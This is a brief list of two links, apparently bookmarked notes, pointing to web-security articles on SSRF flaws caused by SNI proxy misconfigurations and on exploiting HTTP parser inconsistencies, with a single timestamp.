* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/ ](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/ )
2024-03-25 01:49:14 +00:00
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies ](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies )